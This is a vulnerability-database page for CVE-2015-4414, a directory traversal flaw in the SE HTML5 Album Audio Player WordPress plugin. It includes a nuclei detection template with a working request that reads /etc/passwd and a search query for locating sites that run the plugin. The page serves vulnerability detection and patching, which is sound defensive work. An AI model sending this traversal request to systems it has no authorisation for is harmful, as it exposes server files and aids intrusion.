Browse / CVEs / CVE-2015-4414

CVE-2015-4414· se html5 album audio player project / se html5 album audio player· CWE-22

WordPress SE HTML5 Album Audio Player 1.1.0 - Directory Traversal

mediumseverity

5CVSS score

18.8%likelihood of exploitation, next 30 days

97%of all CVEs are less likely

Readycheck to confirm it

WordPress SE HTML5 Album Audio Player 1.1.0 contains a directory traversal vulnerability in download_audio.php that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.

Impact

An attacker can exploit this vulnerability to access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.

Fix

Update to the latest version of WordPress SE HTML5 Album Audio Player or apply the vendor-supplied patch to fix the directory traversal vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd
Positive when: matches /root:.*:0:0:/ AND status 200

Run it with nuclei: nuclei -id CVE-2015-4414 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2015-4414

info:
  name: WordPress SE HTML5 Album Audio Player 1.1.0 - Directory Traversal
  author: daffainfo
  severity: medium
  description: WordPress SE HTML5 Album Audio Player 1.1.0 contains a directory traversal vulnerability in download_audio.php that allows remote attackers to read arbitrary files via a .. (dot dot) in the file parameter.
  impact: |
    An attacker can exploit this vulnerability to access sensitive files on the server, potentially leading to unauthorized disclosure of sensitive information.
  remediation: |
    Update to the latest version of WordPress SE HTML5 Album Audio Player or apply the vendor-supplied patch to fix the directory traversal vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/37274
    - https://nvd.nist.gov/vuln/detail/CVE-2015-4414
    - https://www.exploit-db.com/exploits/37274/
    - http://packetstormsecurity.com/files/132266/WordPress-SE-HTML5-Album-Audio-Player-1.1.0-Directory-Traversal.html
    - https://wpvulndb.com/vulnerabilities/8032
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:N/A:N
    cvss-score: 5
    cve-id: CVE-2015-4414
    cwe-id: CWE-22
    epss-score: 0.1883
    epss-percentile: 0.97308
    cpe: cpe:2.3:a:se_html5_album_audio_player_project:se_html5_album_audio_player:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: se_html5_album_audio_player_project
    product: se_html5_album_audio_player
    framework: wordpress
    google-query: inurl:"/wp-content/plugins/se-html5-album-audio-player"
  tags: cve2015,cve,wordpress,wp-plugin,lfi,edb,packetstorm,se_html5_album_audio_player_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/se-html5-album-audio-player/download_audio.php?file=/wp-content/uploads/../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from